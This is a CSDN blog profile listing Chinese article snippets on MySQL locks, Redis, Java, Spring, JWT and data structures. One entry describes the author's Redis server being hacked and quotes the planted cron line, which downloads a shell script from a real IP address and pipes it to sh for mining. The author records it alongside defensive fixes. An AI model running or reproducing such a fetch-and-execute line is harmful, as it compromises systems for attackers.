- 博客(66)
- 收藏
- 关注
原创 Mysql的行级锁到底锁住了哪些行
主键索引(即使自己没有明确指定主键行,MySQL会默认选择一个唯一的非空索引作为聚簇索引,如果没有适合的非空唯一索引,则会创建一个隐藏的主键(row id)作为聚簇索引)组织起来的,数据都存储在叶子结点上。二级索引存储主键值,查询时需回表到主键索引获取数据。若通过二级索引更新,先锁二级索引条目,如果命中了索引覆盖这种情况,则不会再锁主键索引条目。若WHERE条件无可用索引,InnoDB会全表扫描(遍历主键索引),导致所有扫描的行(包括不符合条件的行)被加锁。在可重复读隔离级别下,还会添加间隙锁,
2025-03-08 17:55:36
740
原创 centos虚拟机部署redis踩坑
以前都是用的云服务器或windows本地启动的redis,想在本地linux虚拟机部署一个,踩了一些坑,记录一下。
2025-02-15 14:32:23
791
原创 Java线程池解密
从这也能看出,核心线程和非核心线程本身没有任何区别,某一个线程getTask获取任务时,获取不到任务也就释放了,线程池也不知道释放的是核心线程还是非核心线程,谁被释放掉了,谁就是非核心线程。其余线程(再说非核心线程都不太合适了,应该说其余线程)没有任务也不会释放原因:当前线程数wc已经不大于corePoolSize了执行的是BlockingQueue的take阻塞获取方法,该方法获取不到会一直卡着,直到获取到任务。
2025-01-13 19:00:11
965
原创 elasticsearch基础总结
索引名和字段名命名规范:1.英文全小写 2.不要使用驼峰3.多个单词之间用_分隔索引的不可变性:索引创建成功后,索引名称、主分片数量(但可以修改副本数量)、字段类型不可变。也不可以删除某个字段,但可以新增字段。
2024-12-06 20:33:33
790
原创 使用充血模型构建实体类对象时要用到容器里的内容怎么办?
最近实习中,每次想要构建TokenRequest对象时,都要new出来,然后用@Value(“”)从配置文件获取值然后set赋值所以就想用充血模型优化一下但是 TokenRequest是一个实体类,不是一个bean,是不能直接从spring上下文获取到配置文件中的的值的,怎么办呢?
2024-11-18 12:32:00
250
原创 git操作总结
git merge/rebase到底是哪合并到哪了?一句话,就是你站在哪个分支上就合并到了哪个分支上,例如:git checkout feature , git merge main 就是将main主分支的新内容合并到功能分支上
2024-11-18 12:31:13
991
原创 创意标题匹配问题 解析| 豆包MarsCode AI 刷题
e" 前后加开始结束符号->"^ad.*cdc.*f.*e$"。用这个^ad.*cdc.*f.*e$正则表达式就可以判断全部字符串是否又该template模版生成。这道题完全可以由正则表达式判断,拿template="ad{xyz}cdc{y}f{x}e"举例: "ad{xyz}cdc{y}f{x}e" 将通配符都替换->"ad.:'.'匹配除换行符以外的任何单个字符。'*'表示前面的字符可以出现0次或多次。: '.'匹配除换行符以外的任何单个字符。:'.'匹配除换行符以外的任何单个字符。
2024-11-06 21:16:42
625
原创 SpringBoot中怎么定义一个stater?自动装配规则到底是怎样的?
最近实习发现公司项目中有spring.factories文件,是用来定义starter的,让这个模块可以那为什么还必须用spring.factories配置才能被其他模块使用,直接引入依赖不能直接使用吗?答案是能用,但是只能使用这个模块中的非Bean,也就是非spring容器中的类(例如工具类的静态方法)。
2024-11-01 16:24:19
1178
原创 idea中项目名后面还有[别名]
直接从另一个项目中拷贝过来一个pom文件,改了artifactId刷新后发现项目名称后面有个别名。项目结构->模块,修改名称即可。
2024-11-01 16:23:58
391
原创 offset Explorer连接云服务上的kafka连接不上
listeners和advertised.listeners。加上面两条配置,再次测试连接,成功。
2024-10-27 17:28:30
888
原创 Mysql的Innodb的RR隔离级别到底有没有解决幻读问题?
InnoDB中的repeatable read这种隔离级别通过解决了大部分的幻读问题,但是并不是所有的幻读都能解读,想要彻底解决幻读,需要使用Serializable的隔离级别。
2024-10-14 21:14:42
463
原创 JVM性能调优-JVM工具使用
jps -q 只看进程idjps -l 显示java进程的完整类名jps -m 查看传递给主类main()的参数jps -v 列出虚拟机启动时的jvm参数以上参数可以组合使用。
2024-10-10 12:05:15
951
1
原创 单表2000万要考虑分表?三层B+树大概能存多少数据量?
我们都知道,随着表中数据量的增加,B+树的高度会逐渐增加。如果 B+树的高度过高,每次查询需要经过较多的层级,会导致查询性能下降。因此,B+树的高度限制是单表存储量的一个瓶颈。对于B+树的高度限制,一般建议将B+树的高度控制在3到4层以内,以获得更快的查询性能。B+树的非叶子结点存储主键和指向子结点的指针,叶子结点存储实际的数据行。
2024-10-10 11:24:45
647
原创 Spring不是引入了三级缓存,解决了循环依赖的问题吗?
其实,在 Spring 2.6 开始,默认已经不开启对循环依赖的支持了,如果想要开启对循环依赖的支持,需要在配置文件中加入。或者用springboot2.6版本以下的。
2024-08-27 22:03:02
571
原创 redis核心数据结构源码分析
在 Redis 的实现中,当一个键值对被创建并存储时,键通常是一个字符串,而值则是一个。因此,在dictEntry结构中,key成员指向的是一个字符串,而v.val成员则指向一个。这意味着,当你在 Redis 中存储一个值时,你实际上是在字典中插入一个dictEntry,其中dictEntry的值部分指向一个包含实际数据和元数据的。
2024-08-24 22:35:54
1295
原创 手写redis分布式锁
1.独占性:任何时候有且仅有一个线程持有锁2.放死锁:有超时控制机制或撤销操作,得有个释放锁的兜底方案3.不乱抢:不能张冠李戴,不能unlock别人加的锁4.可重入性:自己加的锁自己还可以再次获得基于setnx命令实现分布式锁,setnx成功返回1,失败返回0。
2024-07-11 11:23:41
589
原创 双向链表+Map实现LRU
LRU是Least Recently Used的缩写,即最近最少使用,是一种常用的,选择最近最久未使用的页面予以淘汰。
2024-07-09 09:10:39
643
原创 设计模式之单例模式(Java)
在序列化的过程中,只是将枚举对象的名字(即枚举常量的名字)写入到序列化文件中;这保证了在反序列化过程中无论如何都只会得到枚举中定义的枚举常量,而不会重新创建新的对象。因此,枚举类型的单例模式在反序列化过程中也能保持单例的状态,不会被破坏。解决方法只需要在单例类里加上一个readResolve()方法即可,原因就是在反序列化的过程中,会检测readResolve()方法是否存在,如果存在的话就会反射调用readResolve()这个方法。枚举类型的构造器是私有的,并且编译器会确保枚举常量只能被实例化一次。
2024-07-06 21:45:20
793
原创 缓存与数据库数据一致性问题
还是前面的例子,一个读线程从缓存中没有查到值,然后查数据库查到10,这时候恰好一个写线程删缓存更新数据库为20,然后读线程更新缓存为10。如果读写次序是:读线程先读缓存,缓存没有,查数据库值假如为10,这时候更新缓存和数据库的写操作执行了写数据库和缓存为20,然后读线程接着又更新缓存它从数据库查到的10。在用了redis缓存的系统中,正常情况下,一个读操作会先查缓存,如果在缓存中查到了,则直接返回,如果缓存中没有,则会查数据库,再将查到的数据写到redis中,然后返回。所以更新缓存就不太行。
2024-07-05 17:56:49
774
原创 记录第一次云服务器redis被黑
redis里莫名奇妙被写入四个键值对,backup1,backup2,backup3,backup4,内容是奇奇怪怪的sh脚本:*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh。施展百度大法后发现原来被挖矿了.....(redis明明设置了密码.....)解决办法:设置更复杂的redis连接密码,安全组,防火墙。
2024-04-24 21:30:40
727
原创 使用idea 调试HashMap时出现ExpiringCache
调试HashMap源码验证是在第一次put才创建table时,发现刚new出来HashMap表的size已经有值了?!!而且都是关于ExpiringCache之类的。
2024-04-06 19:30:26
529
1
原创 黑马学成在线项目bug记录
No converter found for return value of type: class com.xuecheng.base.model.PageResultIllegal DefaultValue null for parameter type integer
2023-12-19 21:09:19
467
原创 【Java】构建哈夫曼树和输出哈夫曼编码
一个单位有12个部门,每个部门都有一部电话,但是整个单位只有一根外线,当有电话打过来的时候,由转接员转到内线电话,已知各部门使用外线电话的频率为(次/天):5 20 10 12 8 43 5 6 9 15 19 32。利用哈夫曼树算法思想设计内线电话号码,使得接线员拨号次数尽可能少。要求:(1)依据使用外线电话的频率构造二叉树;(2)输出设计出的各部门内线电话号码。
2023-12-09 17:29:17
875
原创 【Java】构建表达式二叉树和表达式二叉树求值
1. 实现一个简单的计算器。通过键盘输入一个包含圆括号、加减乘除等符号组成的算术表达式字符串,输出该算术表达式的值。要求:(1)系统至少能实现加、减、乘、除等运算;(2)利用二叉树算法思想求解表达式的值,先构造由表达式构成的二叉树,按中序、后序遍历的方式输出二叉树中的结点,然后再利用通过对二叉树进行后序遍历求解算术表达式的值。
2023-12-09 17:10:53
1044
原创 【Java】中缀表达式转后缀表达式和后缀表达式四则运算求值(栈)
实现一个简单的计算器,输入一个算术表达式,其运算符包含圆括号、加、减、乘、除、求余等符号,输出该算术表达式的值。要求:(1)系统至少能实现加、减、乘、除、求余等运算;(2)利用栈的后进先出特性实现;
2023-11-24 11:39:09
660
原创 this=this.next?
越看越别扭,我就想:如果一个结点对象调用了一个方法,在该方法中执行了this=this.next,从该方法中出来会怎么样?这个对象变量引用的对象会是下一个结点?)时想将当前对象引用指向下一个结点,脑子一抽写了这么一行代码:this=this.next;,代表当前对象的引用,它是不可修改的。因此,你不能改变它的引用。问题背景:一天,在刷链表算法题(
2023-10-27 21:58:31
97
原创 在Java中,二维数组在内存空间是一个的连续地址空间吗
二维数组实际上是一个包含其他数组的数组,每一行在内存地址上连续的,而每行的内存地址。例如:以下代码将创建一个3x4的二维数组。,它们通常存储在连续的内存地址空间中。
2023-10-25 21:28:25
802
原创 cmd的cd命令进入不了目录
总之,主要区别在于 `cd /d` 允许你在不同的驱动器之间切换目录,而普通的 `cd` 命令不允许这样做。所以,如果你需要切换到不同驱动器的目录,应该使用 `cd /d` 命令。- 如果要在不同的驱动器之间切换目录,必须先使用驱动器字母,然后使用 `cd` 命令,如:`cd D:\Folder`。- 你可以使用 `cd /d` 来切换到不同驱动器的目录,例如:`cd /d D:\Folder`。- `cd /d` 命令与普通的 `cd` 命令不同,它允许你不仅改变目录,还可以改变驱动器。
2023-10-15 22:26:23
6440
2
原创 JWT学习之用Java手写JWT
JSON Web 令牌 (JWT) 是一种开放标准 (RFC 7519),它定义了一种紧凑且独立的方式,用于在各方之间以 JSON 对象的形式安全地传输信息。此信息可以验证和信任,因为它是经过数字签名的。JWT 可以使用密钥(使用HMAC算法)或使用RSA或ECDSA的公钥/私钥对进行签名。尽管 JWT 可以加密以提供各方之间的保密性,但我们将专注于签名令牌。签名令牌可以验证其中包含的声明的完整性,而加密令牌则向其他方隐藏这些声明。
2023-10-08 12:40:21
192
原创 Java中的求值策略(值传递)和C++中的引用传递、地址传递又有什么不同?
当你将一个基本数据类型(如int、float、char等)作为参数传递给方法时,实际上是将该变量的值拷贝传递给方法内部。这意味着在方法内部对参数的修改不会影响到原始变量。................如果是C++中的地址传递,那在本例中输出结果将为2。node1就指向了链表中第二个结点。(注意理解和体会引用传递,地址传递的含义和区别)
2023-10-06 20:49:50
375
原创 中缀表达式转前缀表达式和中缀表达式转后缀表达式(利用栈实现)
1.创建两个空栈,一个用于操作符(Operator Stack),一个用于输出结果(Output Stack)2.对中缀表达式从右到左,一次遍历:3.i.如果是操作数,则压入Output栈ii.如果是运算符:a.如果当前Operator栈为空或该运算符为),则压入Output栈b.如果该运算符为(,则去匹配),将匹配过程中的所有运算符依次弹出并压入Output栈(弹出一个压入一个)。并将这两个括号舍弃c.否则如果该运算符优先级栈顶元素运算符优先级,则压入Output栈。
2023-09-24 18:52:51
227
zzulioj部分题目答案(1101~1187、2113)
2023-10-07
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人